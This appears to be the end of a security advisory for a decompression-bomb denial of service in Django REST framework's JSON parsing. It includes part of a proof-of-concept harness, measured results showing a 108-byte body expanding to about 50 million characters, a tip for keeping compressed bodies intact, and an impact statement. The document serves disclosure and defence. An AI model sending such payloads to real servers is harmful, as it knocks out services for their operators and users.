Details
return {
"arm": arm,
"content_type": content_type,
"transmitted_bytes": len(body),
"body_sha256": hashlib.sha256(body).hexdigest(),
"status_code": response.status_code,
"view_body_executed": bool(VIEW_RAN),
"parsed_value_len": parsed_len,
"amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
"peak_rss_delta_mib": round((after - before) / 1024.0, 1),
"direct_dispatch": direct,
}
def check(arm, r):
if arm in ("T", "C3"):
return (
r["status_code"] == 200
and r["view_body_executed"]
and r["parsed_value_len"] == PAYLOAD_CHARS
and r["amplification_ratio"] >= 700
)
if arm == "C1":
return (
r["status_code"] != 200
and not r["view_body_executed"]
and r["direct_dispatch"].get("exception")
== "django.core.exceptions.RequestDataTooBig"
)
if arm == "C2":
return r["status_code"] == 400 and not r["view_body_executed"]
raise AssertionError(arm)
def main():
if "--arm" in sys.argv:
print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
return 0
sizes = build_payloads()
print(f"# payload sizes: {sizes}")
print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")
ok = True
results = {}
for arm in ("T", "C1", "C2", "C3"):
proc = subprocess.run(
[sys.executable, os.path.abspath(__file__), "--arm", arm],
capture_output=True,
text=True,
)
if proc.returncode != 0:
print(f"{arm}: harness failed\n{proc.stderr}")
return 2
r = json.loads(proc.stdout.strip().splitlines()[-1])
results[arm] = r
passed = check(arm, r)
ok = ok and passed
print(f"=== {arm} [{'as described' if passed else 'NOT as described'}]")
print(f" expected: {EXPECTED[arm]}")
print(json.dumps(r, indent=6))
print()
print("=== summary")
for arm, r in results.items():
print(
f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} "
f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} "
f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}"
)
print(f"\n T and C1 and C2: {'all held' if ok else 'NOT all held'}")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
Observed output, abbreviated to the summary block:
payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
JSON string value under test: 50331648 characters
=== summary
T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True
C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False
C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False
C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True
T and C1 and C2: all held
C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and
not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the
limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the
weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few
MiB between runs.
Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x,
with C1 and C2 both holding.
One note if you re-implement the request yourself: use `Client.generic()` or
`RequestFactory().generic()`. Both `Client.post()` and `RequestFactory.post()` push the body through
`force_bytes(data, encoding=<charset>)` (`django/test/client.py:438-447`), which destroys a compressed
payload before the parser sees it.
### Impact
Unauthenticated denial of service through memory amplification, against any endpoint that accepts a
JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no
application code or configuration choice opts into it. Memory is per-request and released afterwards,
which is why this is rated on availability alone rather than as Critical, but the amplification factor
means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates
hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.